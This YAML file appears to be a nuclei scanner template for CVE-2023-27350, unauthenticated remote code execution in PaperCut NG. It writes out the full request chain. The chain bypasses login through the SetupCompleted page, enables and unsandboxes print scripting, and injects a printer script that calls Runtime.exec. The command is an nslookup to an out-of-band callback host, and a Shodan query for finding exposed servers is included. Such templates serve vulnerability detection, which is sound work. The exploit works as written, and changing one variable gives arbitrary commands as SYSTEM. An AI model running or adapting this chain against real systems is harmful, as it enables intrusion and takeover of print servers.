nuclei-templates/http/cves/2023/CVE-2023-27350.yaml

id: CVE-2023-27350

info:
  name: PaperCut - Unauthenticated Remote Code Execution
  author: rootxharsh,iamnoooob,pdresearch
  severity: critical
  description: |
    This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SetupCompleted class. The issue results from improper access control. An attacker can leverage this vulnerability to bypass authentication and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-18987.
  reference:
    - https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27350
    - https://www.papercut.com/kb/Main/PO-1216-and-PO-1219
    - https://www.zerodayinitiative.com/advisories/ZDI-23-233/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27350
    cwe-id: CWE-284
    epss-score: 0.0117
  metadata:
    max-request: 10
    shodan-query: http.html:"PaperCut"
    verified: "true"
  tags: cve,cve2023,papercut,rce,oast,unauth,kev

variables:
  cmd: "nslookup {{interactsh-url}}"

http:
  - raw:
      - |
        GET /app?service=page/SetupCompleted HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /app HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        service=direct%2F1%2FSetupCompleted%2F%24Form&sp=S0&Form0=%24Hidden%2CanalyticsEnabled%2C%24Submit&%24Hidden=true&%24Submit=Login

      - |
        POST /app HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        service=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=print-and-device.script.enabled&doQuickFind=Go

      - |
        POST /app HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240&%24TextField%240=Y&%24Submit=Update

      - |
        POST /app HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        service=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=print.script.sandboxed&doQuickFind=Go

      - |
        POST /app HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        service=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240&%24TextField%240=N&%24Submit=Update

      - |
        GET /app?service=page/PrinterList HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        service=page%2FPrinterList

      - |
        POST /app?service=direct/1/PrinterList/selectPrinter&sp={{printerID}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        service=direct%2F1%2FPrinterList%2FselectPrinter&sp={{printerID}}

      - |
        POST /app HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        service=direct%2F1%2FPrinterDetails%2FprinterOptionsTab.tab&sp=4

      - |
        POST /app HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        service=direct%2F1%2FPrinterDetails%2F%24PrinterDetailsScript.%24Form&sp=S0&Form0=printerId%2CenablePrintScript%2CscriptBody%2C%24Submit%2C%24Submit%240%2C%24Submit%241&printerId={{printerID}}&enablePrintScript=on&scriptBody=function+printJobHook%28inputs%2C+actions%29+%7B%7D%0D%0Ajava.lang.Runtime.getRuntime%28%29.exec%28%27{{cmd}}%27%29%3B&%24Submit%241=Apply

    cookie-reuse: true
    host-redirects: true
    max-redirects: 2

    extractors:
      - type: regex
        part: body
        internal: true
        name: printerID
        group: 1
        regex:
          - 'erList\/selectPrinterCost&sp=([a-z0-9]+)">'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - 'Avanceret kontering'